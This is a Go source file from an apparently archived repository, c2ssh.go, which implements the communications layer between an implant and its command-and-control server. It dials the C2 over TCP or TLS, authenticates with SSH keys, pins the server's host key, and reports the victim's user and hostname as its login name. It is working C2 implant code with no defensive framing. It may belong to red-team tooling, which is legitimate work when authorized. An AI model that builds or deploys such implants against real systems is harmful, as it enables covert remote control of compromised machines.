This repository has been archived by the owner on Apr 7, 2024. It is now read-only.
/
c2ssh.go
138 lines (125 loc) · 2.62 KB
/
c2ssh.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package main
/*
* c2ssh.go
* Comms between the implant and server.
* By J. Stuart McMurray
* Created 20220327
* Last Modified 20220411
*/
import (
"crypto/subtle"
"fmt"
"net"
"net/url"
"os"
"os/user"
"strconv"
"strings"
"golang.org/x/crypto/ssh"
)
// ConnectToC2 makes an SSH connection to the C2 server.
func ConnectToC2() (
ssh.Conn,
<-chan ssh.NewChannel,
<-chan *ssh.Request,
error,
) {
/* Work out how to connect to the server. */
u, err := url.Parse(ServerAddr)
if nil != err {
return nil, nil, nil, fmt.Errorf(
"parsing server address: %w",
err,
)
}
/* Roll a config to auth to the server. */
conf := &ssh.ClientConfig{
User: getUsername(),
Auth: []ssh.AuthMethod{
ssh.PublicKeys(Signer),
},
HostKeyCallback: checkHostKey,
ClientVersion: SSHVersion,
}
/* Connect to the server. */
var (
c net.Conn
addr string
)
switch strings.ToLower(u.Scheme) {
case "ssh":
c, err = net.Dial("tcp", u.Host)
if nil != err {
break
}
addr = c.RemoteAddr().String()
Debugf(
"Made TCP connection to server %s->%s",
c.LocalAddr(),
c.RemoteAddr(),
)
case "tls":
c, err = DialTLS(u.Host)
if nil != err {
break
}
addr = c.RemoteAddr().String()
Debugf(
"Made TLS connection to server %s->%s",
c.LocalAddr(),
c.RemoteAddr(),
)
default:
return nil, nil, nil, fmt.Errorf(
"unimplemented protocol %q",
u.Scheme,
)
}
if nil != err {
return nil, nil, nil, fmt.Errorf(
"connecting to server: %w",
err,
)
}
/* SSHify */
cc, chans, reqs, err := ssh.NewClientConn(c, addr, conf)
if nil != err {
return nil, nil, nil, fmt.Errorf(
"ssh handshake failed: %w",
err,
)
}
Debugf("SSH handshake with server succeeded")
return cc, chans, reqs, nil
}
/* getUsername tries to get a username for the connection. It first tries
the hostname, then the current user, then finally the time. */
func getUsername() string {
/* Get the username, or failing that the userid. */
u, err := user.Current()
var un string
if nil != err {
Debugf("Unable to get user info: %s", err)
un = strconv.Itoa(os.Getuid())
} else {
un = u.Username
}
/* Append the hostname, if we have it. */
n, err := os.Hostname()
if nil != err {
Debugf("Unable to get hostname: %s", err)
} else {
return fmt.Sprintf("%s@%s", un, n)
}
return un
}
/* checkHostKey checks the server's hostkey against the global ServerFP. */
func checkHostKey(hostname string, remote net.Addr, key ssh.PublicKey) error {
if 1 != subtle.ConstantTimeCompare(
[]byte(ServerFP),
[]byte(ssh.FingerprintSHA256(key)),
) {
return fmt.Errorf("host key fingerprint doesn't match")
}
return nil
}